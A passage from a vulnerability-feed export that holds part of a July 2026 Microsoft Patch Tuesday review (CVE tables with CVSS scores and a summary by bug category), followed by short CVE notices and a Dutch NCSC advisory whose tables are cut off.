Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:05:01.691887Z"}, {"uuid": "aa5d58d6-b78e-46fc-9411-d56cc9c9e002", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54052", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqn7siy2dj2q", "content": "CVE-2026-54052 - n8n-mcp\nIn multi-tenant n8n-MCP deployments, an authenticated tenant could access and delete other tenants' workflow backup data. This is fixed in version 2.56.1. To protect your data, upgrade to\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#n8nmcp #npm #CVE #infosec", "creation_timestamp": "2026-07-14T22:08:05.683764Z"}, {"uuid": "3fe6fab1-7c57-4f49-aadc-6b25164dc0a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54446", "type": "published-proof-of-concept", "source": "https://github.com/Labs64/NetLicensing-MCP/security/advisories/GHSA-x9vc-9ffq-p3gj", "content": "", "creation_timestamp": "2026-07-14T22:35:02.666661Z"}, {"uuid": "b49b8fd9-380c-4eb2-9e6e-cfed5bb0c3cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54629", "type": "published-proof-of-concept", "source": "https://github.com/julien040/anyquery/security/advisories/GHSA-mf78-3rpf-r784", "content": "", "creation_timestamp": "2026-07-14T22:35:09.437807Z"}, {"uuid": "5074fa07-02b2-4e15-836a-0e39eb78cdd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54628", "type": "published-proof-of-concept", "source": "https://github.com/julien040/anyquery/security/advisories/GHSA-hwrq-8wxh-q4xv", "content": "", "creation_timestamp": "2026-07-14T22:35:13.842304Z"}, {"uuid": "14cd92fe-6ec5-437a-82d4-39d6a860747c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54572", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mqncql57ag2c", "content": "\ud83d\udfe0 CVE-2026-54572 - High (7.5)\n\nRclone is a command-line program to sync files and directories to and from different cloud storag...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54572/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-14T23:00:43.118185Z"}, {"uuid": "39e3c6b8-1517-4bc5-bc20-d2dfff7a2854", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54983", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              